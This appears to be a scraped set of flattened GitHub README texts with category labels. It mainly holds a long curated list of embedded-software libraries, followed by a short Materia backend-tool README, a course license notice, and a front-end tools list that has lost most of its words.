hardware io io usb usb flash flash can bus can bus others others thread management thread management bootloaders bootloaders firmware updates firmware updates touch screen touch screen time management libs time management libs embeddable scripts and languages embeddable scripts and languages compilers compilers uncategorized uncategorized common wiselib https github com ibr alg wiselib generic algorithms library for heterogeneous distributed embedded systems util embedded https github com malachib util embedded useful support code for embedded development embxx https github com arobenko embxx embedded c library embedded libs https github com majerle embedded libs libraries for embedded software mainly for stm32 etlcpp https github com etlcpp etl embedded template library where the user can declare the size or maximum size of any object upfront efll https github com zerokol efll embedded fuzzy logic library is a standard library for embedded systems collection of miscellaneous portable c snippets https github com nemequ portable snippets collection of miscellaneous portable c snippets sc https github com tezc sc portable stand alone c libraries and data structures c99 microtbx https github com feaser microtbx open source microcontroller toolbox consisting of software components commonly needed in embedded software applications microtbx is written in the c programming language c99 with misra compliance in mind umlibc https github com rhempel umlibc a bare bones libc for memory constrained systems clibc ng https github com wbx github uclibc ng embedded c library embedded artistry s libc https github com embeddedartistry libc a stripped down c standard library implementation targeted for microcontroller based embedded systems reduced set of functionality due to embedded nature chosen for portability and quick bringup hwlib https github com wovo hwlib c oo micro controller library for close to the hardware programming ctl https github com rurban ctl c container template library there is a fast compiling type safe header only template like container library for iso c99 c11 fsmlang https github com fsmlang fsmlang state machine description language with c language generator supports flat and hierarchical machines and event subsystem memory memory management libmemory https github com embeddedartistry libmemory memory management library with implementations for malloc free and other useful memory management functions lwmem https github com majerle lwmem lightweight dynamic memory manager library for embedded systems with memory constraints it implements malloc calloc realloc and free functions umm malloc https github com rhempel umm malloc memory manager for small ish microprocessors o1heap https github com pavel kirienko o1heap a highly deterministic constant complexity memory allocator designed for hard real time high integrity embedded systems buffers embeddedproto https github com embedded ams embeddedproto c protocol buffers implementation specifically suitable for arm cortex m microcontrollers it is small reliable and easy to use protobuf embedded c https github com berezovskyi protobuf embedded c protocol buffers generator for resource constrained embedded applications written in the c programming language ring buffer lwrb https github com majerle lwrb lightweight generic ring buffer manager library ringbuffer https github com wizard97 arduinoringbuffer simple interrupt safe ring circular buffer queuing library for embedded platforms fifo fifofast https github com nqtronix fifofast a fast generic fifo for mcus storage filesystems lwext4 https github com gkostka lwext4 an ext2 ext3 ext4 filesystem library for microcontrollers fatfs http elm chan org fsw ff 00index e html fat filesystem implementation levelx https github com azure rtos levelx provides flash wear leveling for filex and stand alone purposes ufat https github com dlbeer ufat low memory feature complete vfat implementation fat io lib https github com ultraembedded fat io lib small footprint low dependency c code implementation of a fat16 fat32 driver sdfat https github com greiman sdfat arduino fat16 fat32 exfat library fat32 https github com strawberryhacker fat32 lighweight fat32 file system written in c with no thirdparty dependencies it requires a small port which provide functions for initializing reading and writing to the msd emfat https github com fetisov emfat fat32 emulation library for stm32f4 openfat https github com tmolteno openfat fat filesystem implementation for embedded processors uc fs https github com weston embedded uc fs compact reliable high performance and thread safe embedded file system for microprocessors microcontrollers and dsps an optional journaling component provides fail safe operation while maintaining fat compatibility littlefs https github com littlefs project littlefs little fail safe filesystem designed for microcontrollers uffs https github com rickyzheng uffs filesystem for nand devices with wear leveling and good fault tolerance data bases flashdb https github com armink flashdb ultra lightweight database that supports key value and time series data puredb https github com jedisct1 puredb portable and tiny set of libraries for creating and reading constant databases unqlite https github com symisc unqlite embedded nosql transactional database engine vedis https github com symisc vedis embedded implementation of redis an embeddable datastore c library built with over 70 commands similar in concept to redis but without the networking layer since vedis run in the same process of the host application microkvs https github com azonenberg microkvs tiny key value store for persisting configuration data on microcontrollers flash memory easyflash https github com armink easyflash 1 introduction lightweight embedded flash memory library flashalgo https github com pyocd flashalgo framework for building arm cortex m flm style flash programming algorithms fcb https docs zephyrproject org latest services storage fcb fcb html flash circular buffer provides an abstraction through which you can treat flash like a fifo protocols nanopb https github com nanopb nanopb small code size protocol buffers implementation in ansi c it is especially suitable for use in microcontrollers but fits any memory restricted system interchange https github com trussed dev interchange request response mechanism for embedded development using atomics xmodem https github com bsail xmodem xmodem library for embedded mobile iot and desktop systems tinyframe https github com mightypork tinyframe simple library for building and parsing data frames for serial interfaces like uart rs232 nanomodbus https github com debevv nanomodbus a compact modbus rtu tcp c library for embedded microcontrollers radio frequency protocols radiohead https github com hallard radiohead packet radio library for embedded microprocessors adafruit s radiohead https github com adafruit radiohead packet radio library for embedded microprocessors with docs http www airspayce com mikem arduino radiohead network protocols uip https github com adamdunkels uip very small implementation of the tcp ip stack that is written by adam dunkels lwip http savannah nongnu org projects lwip small independent implementation of the tcp ip protocol suite that has been initially developed by adam dunkels lwip suitable for use in embedded systems with tens of kilobytes of free ram and room for around 40 kilobytes of code rom httpclient https github com nmattisson httpclient http client library httpio https github com fetisov httpio stand alone cross platform request parser and response generator for the http protocol picotcp https github com tubbz alt picotcp small footprint modular tcp ip stack designed for embedded systems and the internet of things rawtcp lib https github com h3xduck rawtcp lib c library for creating and using tcp ip packets with raw network sockets lrndis https github com fetisov lrndis ethernet over usb rndis lwip cyclonetcp https github com oryx embedded cyclonetcp a dual ipv4 ipv6 stack dedicated to embedded applications the stack is distributed as a full ansi c and highly maintainable source code examples https www oryx embedded com download cyclonetcp ssl ssh crypto open 2 2 4 zip not included in github s sources web server mongoose https github com cesanta mongoose embedded web server and embedded networking library it implements event driven non blocking apis for tcp udp http websocket mqtt libevhtp https github com criticalstack libevhtp extremely fast and secure embedded http servers with ease lib httpd https github com zhaojh329 libuhttpd very flexible lightweight and fully asynchronous http server library based on libev and http parser sandbird https github com rxi sandbird tiny 800sloc embeddable http server written in c89 mqtt libemqtt 1 https github com menudoproblema libemqtt embedded c client library for the mqtt protocol libumqtt 2 https github com zhaojh329 libumqtt lightweight and fully asynchronous mqtt client c library based on libev paho mqtt https github com eclipse paho mqtt embedded c c client library for embedded systems protocol parsers regular expressions parsers regexp https github com majerle regexp regular expressions library for embedded systems gsm lwgsm https github com majerle lwgsm library for simcom gsm modules to communicate with at commands and rtos from host device gsm engine https github com mikroelektronika gsm engine generic at parser for at command based modules tinygsm https github com vshymanskyy tinygsm small arduino library for gsm modules that just works gps lwgps https github com majerle lwgps lightweight gps nmea parser for embedded systems minmea https github com kosma minmea lightweight gps nmea 0183 parser library in pure c at command parser atat https github com esynr3z atat lib for at like custom commands processing cat https github com marcinbor85 cat plain c library for parsing at commands for use in host devices gzat https github com gzhouct gzat portable at command parsing library in c language atparser https github com armmbed atparser an mbed os compatible at command parser atcommander https github com malachi iot atcommander portable c library for sending at commands and parsing their responses lwesp https github com majerle lwesp lightweight esp at commands parser library to communicate with esp8266 or esp32 wi fi module using at commands various protocols lwpkt https github com majerle lwpkt lightweight packet protocol structure for multi device communication focused on rs 485 lwow https github com majerle lwow lightweight onewire protocol library optimized for uart hardware on embedded systems panstamp swap https github com panstamp swap simple wireless abstract protocol for any existing ism radio panstamp uswap https github com panstamp uswap micro swap stack for mcu s connected via uart min https github com min protocol min microcontroller interconnect network protocol version 2 0 libcoap https github com obgm libcoap c implementation of a lightweight application protocol for devices that are constrained their resources such as computing power rf range memory bandwidth or network packet sizes this protocol coap is standardized by the ietf as rfc 7252 data processing math liquid fpm https github com jgaeddert liquid fpm software defined radio fixed point math library for embedded signal processing fpm https github com mikelankamp fpm c header only fixed point math library eigen https gitlab com libeigen eigen c template library for linear algebra matrices vectors numerical solvers and related algorithms dsp and filtering liquid dsp https github com jgaeddert liquid dsp digital signal processing library for software defined radios minfft https github com aimukhin minfft small and fast discrete fourier transform library iir1 https github com berndporr iir1 dsp iir realtime filter library written in c kalman clib https github com sunsided kalman clib microcontroller targeted naive kalman filter implementation in pure c libdspl https sourceforge net p libdspl 2 0 code ci master tree cross platform digital signal processing algorithm library written in c language pocketfft https github com mreineck pocketfft heavily modified implementation of fftpack kiss fft https github com mborgerding kissfft mixed radix fast fourier transform based up on the principle keep it simple stupid cmsis dsp https github com arm software cmsis dsp embedded compute library for cortex m and cortex a siglib https github com numerix dsp siglib digital signal processing and machine learning library x86 cortex a and cortex m risc v dsps from ti adi etc lsp dsp lib https github com lsp plugins lsp dsp lib dsp library for digital signal processing provides set of functions that perform simd optimized computing on several hardware architectures all functions currently operate on ieee 754 single precision floating point numbers compression heatshrink https github com atomicobject heatshrink data compression library for embedded real time systems shoco https github com ed von schleck shoco c library to compress and decompress short strings it is very fast and easy to use the default compression model is optimized for english words but you can generate your own compression model ecl https github com nonoum ecl embedded compression library is not only for embedded it is mostly oriented for small data and has special optimized low memory modes for restricted environments ai ml artificial intelligence and machine learning cranium https github com 100 cranium portable header only feedforward artificial neural network library written in vanilla c99 tensor https github com utensor utensor tinyml ai inference library fido https github com fidoproject fido lightweight c machine learning library for embedded electronics and robotics nnom https github com majianjia nnom neural network on microcontroller nnom is a high level inference neural network library specifically for microcontrollers caffepresso https github com gplhegde caffepresso optimized library for deep learning on embedded accelerator based platforms libonnx https github com xboot libonnx lightweight portable pure c99 onnx inference engine for embedded devices with hardware acceleration support tinymaix https github com sipeed tinymaix a tiny inference neural network library specifically for microcontrollers tinyml designed to follow the rule easy to use portable speed space cv computer vision embedded sod https github com symisc sod embedded computer vision machine learning library cpu optimized iot capable qr image embedded https github com swex qr image embedded qr library fork for embedded systems cryptography general trussed https github com trussed dev trussed minimal modular way to write cryptographic applications on microcontroller platforms rust wolfssh https www wolfssl com products wolfssh lightweight sshv2 client and server library written in ansi c and targeted for embedded rtos and resource constrained environments primarily because of its small size speed and feature set libhydrogen https github com jedisct1 libhydrogen lightweight secure easy to use crypto library suitable for constrained environments krypton https github com ezhangle krypton embedded tls dtls library source and binary compatible openssl subset wolftpm https github com wolfssl wolftpm highly portable tpm 2 0 library designed for embedded use mbedtls https github com mbed tls mbedtls open source portable easy to use readable and flexible tls library and reference implementation of the psa cryptography api liblithium https github com teslamotors liblithium lightweight cryptography library that is portable by design it requires only standard c99 and does not assume 8 bit addressability making it suitable for use on some dsp architectures as well as mainstream architectures trezor crypto https github com trezor trezor firmware tree master crypto heavily optimized cryptography algorithms for embedded devices poly1305 donna https github com floodyberry poly1305 donna implementations of a fast message authentication code 8 bit 16 bit 32 bit and 64 bit multiplies versions arduinolibs https github com rweather arduinolibs arduino cryptography library tlse https github com eduardsui tlse single c file tls 1 2 1 3 implementation using tomcrypt as crypto library libtomcrypt https github com libtom libtomcrypt fairly comprehensive modular and portable cryptographic toolkit that provides developers with a vast array of well known published block ciphers one way hash functions chaining modes pseudo random number generators public key cryptography and a plethora of other routines monocypher https github com loupvaillant monocypher easy to use easy to deploy auditable crypto library written in portable c minicrypt https github com ianharvey minicrypt library of crypto primitives for embedded systems tinycrypt https github com intel tinycrypt library of cryptographic algorithms provides an implementation for constrained devices of a minimal set of standard cryptography primitives tiny aes c https github com kokke tiny aes c small portable aes128 192 256 in c aes https github com polfosol micro aes lightweight highly flexible portable and ansi c compatible implementation of the aes encryption and block cipher modes cyclonecrypto https github com oryx embedded cyclonecrypto a cryptographic toolkit designed for use in embedded systems it provides a comprehensive set of cryptographic primitives hash functions stream and block ciphers public key cryptography that can be used to add security features to your embedded application elliptic curve cryptography salty https github com ycrypto salty ed25519 signatures with assembly optimizations for cortex m4 and cortex m33 micro ecc https github com kmackay micro ecc ecdh and ecdsa for 8 bit 32 bit and 64 bit processors libuecc https github com neoraider libuecc very small generic purpose elliptic curve cryptography library compatible with ed25519 c25519 and ed25519 https dlbeer co nz oss c25519 html curve25519 and ed25519 for low memory systems curve25519 scalar multiplication uses less than half a kb of peak stack usage random number generation pcg c basic https github com imneme pcg c basic code provides a minimal implementation of one member of the pcg family of random number generators which are fast statistically excellent and offer a number of useful features pcg c https github com imneme pcg c code provides an implementation of the pcg family of random number generators which are fast statistically excellent and offer a number of useful features os citrus https github com strawberryhacker citrus bare metal arm cortex a5 operating system vanilla https github com strawberryhacker vanilla bare metal arm cortex m7 operating system chaos https github com strawberryhacker chaos bare metal multicore arm cortex a operating system based on a microkernel architecture lk kernel https github com littlekernel lk the little kernel embedded operating system is smp aware kernel designed for small systems ported to a variety of platforms and cpu architectures quarkts https github com kmilo17pet quarkts os for embedded applications that supports prioritized cooperative scheduling time control inter task communications primitives hierarchical state machines and coroutines micro ros https micro ros org micro ros puts ros 2 onto microcontrollers rtos freertos https github com freertos freertos freertos zephyr https github com zephyrproject rtos zephyr new generation scalable optimized secure rtos for multiple hardware architectures apache nuttx https github com apache incubator nuttx apache nuttx is a mature real time embedded operating system rtos scmrtos https github com scmrtos scmrtos tiny real time preemptive operating system intended for use with single chip microcontrollers scmrtos is capable to run on tiny ucs with as small amount of ram as 512 bytes the rtos is written on c and supports various platforms chibios rt https github com chibios chibios compact and fast real time operating system supporting multiple architectures designed for embedded applications on microcontrollers of 8 16 and 32 bits azure rtos threadx https github com azure rtos threadx advanced real time operating system rtos designed specifically for deeply embedded applications ecos https ecos sourceware org real time operating system intended for embedded applications closed source embox https github com embox embox configurable rtos designed for resource constrained and embedded systems embox main idea is using linux software without linux riot https github com riot os riot real time multi threading operating system that supports a range of devices that are typically found in the internet of things iot 8 bit 16 bit and 32 bit microcontrollers riot is based on the following design principles energy efficiency real time capabilities small memory footprint modularity and uniform api access independent of the underlying hardware this api offers partial posix compliance arm mbed os https github com armmbed mbed os platform operating system designed for the internet of things it includes all the features you need to develop a connected product based on an arm cortex m microcontroller including security connectivity an rtos and drivers for sensors and i o devices rt thread https github com rt thread rt thread rt thread was born in 2006 it is an open source neutral and community based real time operating system rtos rt thread has standard version and nano version for resource constrained microcontroller mcu systems the nano kernel version that requires only 3kb flash and 1 2kb ram memory resources can be tailored with easy to use tools and for resource rich iot devices rt thread can use the on line software package management tool together with system configuration tools to achieve intuitive and rapid modular cutting seamlessly import rich software packages thus achieving complex functions like android s graphical interface and touch sliding effects smart voice interaction effects and so on distortos https github com distortec distortos object oriented c rtos for microcontrollers r3 os https github com r3 os r3 experimental static itron esque rtos for deeply embedded systems testing the limit of rust s const eval and generics rust tock embedded os https github com tock tock embedded operating system designed for running multiple concurrent mutually distrustful applications on low memory and low power microcontrollers rust dandelion https github com antoinesebert dandelion microkernel real time operating system in rust muditaos https github com mudita muditaos mobile operating system based on freertos optimized for e ink displays developed for mudita pure minimalist phone c os ii https github com weston embedded uc os2 preemptive highly portable and scalable real time kernels designed for ease of use on a huge number of cpu architectures c os iii https github com weston embedded uc os3 preemptive highly portable and scalable real time kernel designed for ease of use on a huge number of cpu architectures qp c https github com quantumleaps qpc real time embedded framework rtos for embedded systems based on active objects actors and hierarchical state machines fusa misra c 2023 compliance quite ok rtos https github com arabine qortos tickless minimal 500 lines of code 7 functions event based scheduler uevloop https github com andsmedeiros uevloop fast and lightweight event loop for embedded platforms lwevt https github com majerle lwevt lightweight event management system for embedded systems async https github com eerimoq async asynchronous framework in c for systems where low memory usage is important protothreads http dunkels com adam pt provide linear code execution for event driven systems implemented in c designed for severely memory constrained systems such as small embedded systems or wireless sensor network nodes eventos https github com natnqweb eventos event based system designed for arduino framework vsf https github com vsfteam vsf versaloon software framework a tiny preemptive capable event driven incremental software framework for embedded systems user interface cli cli https github com letgo0007 cli cli command line interface example build in pure c designed for mcu support block non block mode input terminal https github com jingoc terminal command line interface for microcontrollers flexible terminal settings allow you to integrate it with any microcontroller without much effort serialmenu https github com sonyhome serialmenu arduino library to easily create menus on the serial console terminal server https github com neoprog2013 terminal server terminal server for mcu microsh https github com dimmykar microsh shell for small embedded devices cmd l https github com lambosaurus cmd l command line handler for embedded devices embedded cli https github com funbiscuit embedded cli single header cli with history and autocompletion for embedded systems microshell https github com marcinbor85 microshell lightweight pure c implementation of virtual shell compatible with vt100 terminal support root tree run time mounting paths global commands and much more microrl https github com helius microrl micro read line library for small and embedded devices with basic vt100 support menu promenu https github com marcinbor85 promenu advanced generic application menu library promenu library is used for fast implementing advanced user menus it supports nesting numeric settings text settings boolean values and events library is implemented in c with build in arduino port but it is easy to port to different architecture bbmenu https github com vborchsh bbmenu simple portable cli menu for misc tasks it is based on text menus easily defined in a file micromenu v2 https github com abcminiuser micromenu v2 tiny text orientated menu library in c for embedded use printf lwprintf https github com majerle lwprintf lightweight printf library optimized for embedded systems embedded printf https github com agaelema embedded printf embedded version of the famous printf function the idea is create an simple and efficient library to meet some common needs in embedded systems tinyprintf https github com cjlano tinyprintf tiny printf and sprintf library for small embedded systems xprintf fp https github com marioviara xprintfc printf for embedded system with floating point support xprintf io https github com sinferwu xprintf compact string i o library it is ideal for tiny microcontrollers that has insufficient program memory for regular printf function the recommended use is writing formatted strings into lcd or uart and for debug maintenance console xprintf https github com robbesol xprintf complete fprintf formatting implementation suitable for embedded use tiny printf https github com mpaland printf tiny fast non dependent and fully loaded printf implementation for embedded systems extensive test suite passing tiny printf new https github com eyalroz printf enhanced and maintained fork of tiny printf tiny fast ish self contained and fully loaded printf sprinf etc mini printf https github com ldoolitt mini printf minimal printf implementation for embedded projects nanoprintf https github com charlesnicholson nanoprintf the smallest public printf implementation for its feature set fmt https github com fmtlib fmt modern formatting library providing a fast and safe alternative to c stdio and c iostreams scanf scanf https github com hisahi scanf portable implementation of scanf input functions in c ft scanf https github com cbarbier ft scanf simple scanf s c d logging embedded log https github com to9 embedded log small and beautiful embedded log library for mcu easylogger https github com armink easylogger ultra lightweight rom 1 6k ram 0 3k high performance c c log library trice https github com rokath trice super fast and tiny embedded device c printf like trace code works also inside interrupts and real time pc logging trace id visualization embedded diagnostic logger https github com binarymaker embedded diagnostic logger lightweight logger framework for small microcontroller based projects multilevel log and token based string transfer spdlog https github com gabime spdlog very fast header only compiled c logging library elog https github com martinribelotta elog log system is thinked for embedded systems with mininmal resource utilization the log system is designed to minimize memory compsumition in flash or ram enable an eficient in ram loggin buffer with very efficient storage gui lvgl https github com lvgl lvgl powerful and easy to use embedded gui with many widgets advanced visual effects opacity antialiasing animations and low memory requirements 16k ram 64k flash easygui https github com majerle easygui easygui for embedded systems highly optimized for stm32 touchgfx https www touchgfx com product overview user friendly graphical c tool integrated as a free tool in the stm32 ecosystem egui https github com nxpmicro egui an egui embedded graphic library eslowgraphics https github com errorcalc eslowgraphicslibrary low level software graphics library by errorsoft eslgl ftk https github com prife ftk gui library for embedded system u8glib https github com pabigot u8glib universal graphics library for 8 bit embedded systems u8g2 https github com olikraus u8g2 u8glib library for monochrome displays version 2 sgfx https github com rprata sgfx lightweight embedded library for displays and touchscreens providing everything required to build a fully featured embedded gui guix https github com azure rtos guix provides a complete embedded graphical user interface gui library and design environment facilitating the creation and maintenance of all graphical elements needed by your device guilib https github com nikolay kha guilib gui library for embedded systems hmi library https github com kgrze hmi library human machine interface suitable for embedded system afgui https github com andreyfursov afgui embedded gui library makisegui https github com sl ru makisegui graphics and gui library for embed systems emgui https github com libemgui emgui simple c ui library for embedded platforms hagl https github com tuupola hagl lightweight hardware agnostic graphics library for embedded devices it supports basic geometric primitives bitmaps blitting fixed width fonts library tries to stay lightweight but targets reasonably powerful microchips such as esp32 there is no dynamic allocation embedded graphics https github com embedded graphics embedded graphics 2d graphics library that is focused on memory constrained embedded devices to draw graphics without using any buffers rust lovyangfx https github com lovyan03 lovyangfx display lcd oled epd graphics library for esp32 spi i2c 8bitparallel esp8266 spi i2c rp2040 spi atsamd51 spi and more ugui gui https github com achimdoebler ugui a graphic library it supports color grayscale monochrome and multiple displays touch screen windows and objects basic geometric primitives fonts console there is no required dynamic allocation and memory for screen buffer documentation available on developer s website https embeddedlightning com download c2 b5gui v0 3 gui editors lv gui designer https github com kaiakz lv gui designer drag and drop simple gui designer built with littlevgl walv https github com kaiakz walv online wysiwyg gui designer for littlevgl cross platform supported even android and ios font utils bitmap osd font https github com frisnit bitmap osd font a c bitmap font for on screen display ttf2mesh https github com fetisov ttf2mesh library for truetype font tessellation allows to convert font glyphs to mesh objects without rasterization sfam generator https github com sl ru sfam generator simple scripts for generating bit fonts for stm32 avr arduino or other mcu mcufont https github com mcufont mcufont a font rendering library for microcontrollers fonts and icons picon https github com yne picon pico icon set with hackable ligature designed on a 8 grid to be readable at 8px 16px 24px 32px 48px picture manupulation tools lcd image converter https github com riuson lcd image converter tool to create bitmaps and fonts for embedded applications allows you to create bitmaps and fonts and transform them to c source format for embedded applications hardware embedded driver https github com infiniteyuan embedded driver library embedded driver library for various peripheral io fastio https github com xillion fastio fast gpio forked from http os mbed com users sissors code fastio usb tinyusb https github com hathach tinyusb cross platform usb stack for embedded system libusb stm32 https github com dmitrystu libusb stm32 lightweight usb device stack for stm32 microcontrollers cherryusb https github com cherryusb tiny beautiful and portable usb host and device stack for embedded system with usb flash sfud https github com armink sfud serial flash universal driver using jedec s sfdp standard serial spi flash universal driver library can bus libcanard https github com uavcan libcanard compact implementation of the uavcan can protocol in c for high integrity real time embedded systems canbus message https github com refil canbus message can message assembly and disassembly library for teensy stm32 canboot https github com arksine canboot can bootloader for mcus currently lpc176x stm32 and rp2040 mcus are supported others thread management c thread pool https github com pithikos c thread pool minimal but powerful thread pool in ansi c bootloaders mcuboot https github com mcu tools mcuboot secure boot for 32 bit microcontrollers openblt https github com feaser openblt open source bootloader for stm32 xmc hcs12 and other microcontroller targets it supports communication interfaces such as rs232 can usb tcp ip and it ships with the easy to use microboot https www feaser com openblt doku php id manual microboot pc tool for initiating and monitoring the firmware update performing firmware updates directly from an sd card is also supported tinyuf2 https github com adafruit tinyuf2 bootloader based on tinyusb for embedded devices such as esp32 stm32 and imx rt10xx wolfboot https github com wolfssl wolfboot portable os agnostic secure bootloader for microcontrollers supporting firmware authentication and firmware update mechanisms firmware updates uf2 https github com microsoft uf2 usb flashing format specification for flashing microcontrollers over msc mass storage class aka removable flash drive swupdate https github com sbabic swupdate software update for embedded linux devices to update system in field swupdate supports local and ota updates multiple update strategies and it is designed with security in mind touch screen tslib https github com libts tslib touchscreen access library time management libs timelib https github com geekfactory timelib time management library for embedded devices tz https github com evq utz time zone library for tiny embedded systems embeddable scripts and languages little https github com beariish little a small fast easily embeddable language implemented in a single c file compilers sdcc https sdcc sourceforge net small device c compiler that targets the intel mcs51 based microprocessors 8031 8032 8051 8052 etc maxim formerly dallas ds80c390 variants freescale formerly motorola hc08 based hc08 s08 zilog z80 based mcus z80 z180 sm83 rabbit 2000 2000a 3000a tlcs 90 padauk pdk14 pdk15 and stmicroelectronics stm8 tcc https bellard org tcc tiny c compiler 100kb for x86 tcc executable including c preprocessor c compiler assembler and linker lcc https github com drh lcc retargetable ansi c compiler fork for ulp in esp32 https github com jasonful lcc pcc http pcc ludd ltu se portable c compiler mirror https github com ianharvey pcc tinygo https github com tinygo org tinygo go compiler for small things microcontrollers webassembly wasm wasi and command line tools based on llvm chibicc https github com rui314 chibicc yet another small c compiler that implements most c11 features rvcc https github com mausimus rvcc bootstrapped c compiler for 32 bit risc v and arm isas generates executable linux elf binaries for rv32im and armv7 uncategorized apache nuttx apps https github com apache incubator nuttx apps collection of tools shells network utilities libraries interpreters and can be used with the nuttx rtos modm https github com modm io modm barebone embedded c 20 library generator for avr sam and arm cortex m microcontrollers supported 3534 devices cembed https github com rxi cembed small utility for embedding files in a c header incbin https github com graphitemaster incbin one header library for compile time embedding binary and textual files contributing your contributions are always welcome please read the contribution guidelines contributing md first footnotes please follow this https github com idoka awesome embedded software root repo for lastest updates tags awesome awesome list embedded embedded systems rtos stm32 cortex m risc v mcu uc lightweight gui iot crossplatform portable lightweight embedded library embedded library | embedded-systems embedded rtos stm32 electronics risc-v library mcu uc lightweight crossplatform portable lightweight-embedded-library embedded-library embedded-devices embedded-graphics awesome awesome-list c microcontroller | os |
materia-designer-public | materia designer https getmateria com logo https getmateria com assets img logo png materia is an easy to use backend to build all kinds of applications mobile web gaming and more materia tooling manages the entire development cycle for building enterprise class backends database relationships database synchronization api management static file hosting dockerization deployment materia is made to be simple and powerful as it has been since the beginning thought by developers for developers screenshot https getmateria com assets img screen entities png materia is under active development and we need your help to track bugs this is the main purpose of this repository if you catch one of them please report it on github com materiahq materia designer public issues https github com materiahq materia designer public issues website getmateria com https getmateria com documentation getmateria com docs https getmateria com docs | front_end |
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java-web-dev-techjobs-oo | java web development techjobs oo a rel license href http creativecommons org licenses by nc sa 4 0 img alt creative commons license style border width 0 src https i creativecommons org l by nc sa 4 0 88x31 png a br span xmlns dct http purl org dc terms property dct title java web development techjobs oo span by a xmlns cc http creativecommons org ns href https www launchcode org property cc attributionname rel cc attributionurl the launchcode foundation a is licensed under a a rel license href http creativecommons org licenses by nc sa 4 0 creative commons attribution noncommercial sharealike 4 0 international license a | front_end |
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pie 18 ie css3 http css3pie com mui 19 css star 1 5k 10 15 img2css 20 css star 1 5k 12 25 weui https github com weui weui web star 8 2k resume master https github com hawx1993 resume master github pages mocha 21 javascript node js javascript star 6680 csscss 23 css star 2800 es6 tools 24 es6 grunt tasks gulp plugins broccoli plugins brunch plugins webpack plugins star 1860 async 25 javascript node js star 13000 simditor 26 tower star 1300 htmlhint 27 html ide star 900 jshint 28 js js star 5100 csslint 29 css nicholas c zakas 30 star 2700 protractor 31 angular apps star 4k casperjs 32 phantomjs star 4 8k karma 33 js tdd star 5 3k jasmine 34 js javascript star 9 1k 6 28 chai 35 node js tdd bdd javascript star 2k 6 29 qunit 36 js jquery jquery star 3 3k 6 29 grunt 37 node js star 9500 yeoman 38 star 960 gulp 39 node js star 14000 spm 40 cmd sea js canvas echarts 41 canvas javascript star 6900 chart js 42 canvas html5 star 14600 sketch js 43 javascript gzip 2kb star 1500 d3 44 js star 38000 zrender 45 canvas mvc dom canvas star 850 c3 46 d3 js javascript star 4 5k 6 28 img2css 47 css 11 3 highcharts https github com highcharts highcharts svg javascript esl 48 amd web seajs 49 commonjs javascript star 4100 component 50 javascript webpack 51 webpack star 9k animate css 52 css star 23000 move js 53 javascript css3 star 2600 tweenjs 54 javascript createjs star 1500 bounce js 55 css3 javascript star 3600 swipe 56 slider star 4 7k tween js 57 js tween js css3 star 2 5k 7 15 parallax js 58 star 9k 10 17 velocity 59 jquery animate api easing star 9 5k 12 25 front end plugins https github com iamjoel front end plugins jquery transit https github com rstacruz jquery transit css3 transformations transitions jquery star 7k zepto fullpage 60 star 510 fullpage js 61 pc star 9500 view demo 62 onepage scroll 63 ie8 view demo 64 star 7700 slick 65 jquery star 10000 view demo 66 superslides 67 tab superslide view demo 68 star 1100 jquery one page nav 69 star 1100 slider 70 jquery javascript star 850 view demo 71 github hovercard 72 github 10 15 onepage scroll 73 jquery star 8k 10 17 view demo 74 justlazy js 75 js 10 22 awesome browser extensions for github 76 github star 200 12 25 polymer 77 web web ui star 9900 impress js 78 css3 view demo 79 star 24300 ionic 80 html5 html5 css3 js hybrid app star 17000 reveal js 81 css3 3d html web star 21500 view demo 82 pure css 83 css star 12000 three js 84 javascript webgl 3d star 20000 timelinejs 85 star 8000 jquery pjax 86 ajax pushstate pushstate star 11500 highlight js 87 javascript star 5500 commander js 88 node js star 3800 togetherjs 89 mozilla javascript star 5k html js 90 dom js view demo 91 star 1 5k mean js 92 javascript mongodb express angularjs node js star 2 2k wechat js 93 js star 700 javascript load image 94 js star 1 2k view demo 95 progress js 96 js css3 star 1 6k view demo 97 foundation 98 mobile first star 21k sugar 99 javascript js star 2 8k todomvc 100 mv js mv todo star 13k yepnope js 101 star 2 5k material ui 102 css material design react star 8 8k 6 28 pikaday 103 javascript css star 2 8k view demo 104 7 1 vuejs 106 web mvvm api star 6k 7 12 meteor 107 web javascript web star 27k 7 12 webuploader 108 html5 flash star 1 8k fastclick 109 ui js star 1w 10 15 wangeditor 110 web 10 15 benchmark js 111 javascript high resolution star 1 7k 10 15 headroom js 112 js star 7 5k 10 15 tooling 113 web app ua device https github com fex team ua device useragent fex judge https github com hawx1993 judge js share js https github com overtrue share js qq qq swipe 114 star 5000 hammer js 115 star 11000 amdoc 116 web amazeui 117 html5 css3 star 4 1k zepto 118 api jquery mui 119 app star 1 1k 6 28 swiper 120 javascript tab star 6k 10 18 sui mobile 121 ued ui star 2k 2016 1 14 lib flexible 122 star 1 3k 2016 1 14 node js node restify https github com restify node restify node js rest framework specifically meant for web service apis star 5k http nodeframework com 123 node js web github 124 br nodeclub 125 node js mongodb star 3000 n chat 126 express socket io star 300 n blog 127 express mongodb star 1800 node inspector 128 blink node js star 7000 node lessons 129 node js star 2 5k nodeppt 130 nodejs ppt star 1 6k view demo 131 hexo 132 nodejs star 5 2k koa 133 node js web express star 6 3k awesome nodejs 134 nodejs star 7k connect 135 node express connect star 5 6k 6 29 n 136 node tj star 2 7k nvm 137 node bash star 7 5k react react style 138 react js react component 139 reactjs react native 140 react native apps star 15000 react native guide 141 react native app star 850 awesome react 142 react star 700 flux 143 facebook react flux react star 6 8k 6 28 iscroll 144 star 6k 7 19 react tappable 145 tappable component for react 2016 1 4 react native lesson 146 react native star 1 3k 2016 1 4 react web https github com taobaofed react web react native web app star 1 2k html5 html5 boilerplate 147 app star 27k 12 25 browserquest 148 mozilla html5 star 5200 video js 149 html5 flash star 9 1k html5shiv 150 html5 ie6 9 star 6k 7 15 brunch 151 html5 star 4 5k 7 19 ulkit 152 web html5 star 5 3k 8 3 handlebars js 153 js star 8 6k 6 29 update arttemplate 154 js star 1 7k jade 155 jade haml javascript star 8 7k ejs 156 tj javascript node es6 shim 157 es6 javascript star 1 5k 7 15 modernizr 158 javascript 18 css3 40 html5 star 16000 normalize css 159 css ie8 star 17000 html5shiv 160 html5 ie6 9 star 6k 7 15 css3please 161 css3 babel 162 js star 8 3k 7 29 f2etest https github com alibaba f2etest f2etest star 1k evan you 163 mvvm vue js google followers 1 6k tj holowaychuk 164 luna koa express stylus cluster mocha jade node canvas component followers 14 1k paulirish 165 chrome jquery modernizr yeoman css3 please html5 boilerplate lead developer followers 15 7k mike bostock 166 d3 js followers 8 3k nicolas gallagher 167 normalize css followers 3 6k 168 mvvm avalon followers 2 1k sindresorhus https github com sindresorhus github javascript style guide 169 javascript star 18000 mars 170 web star 1600 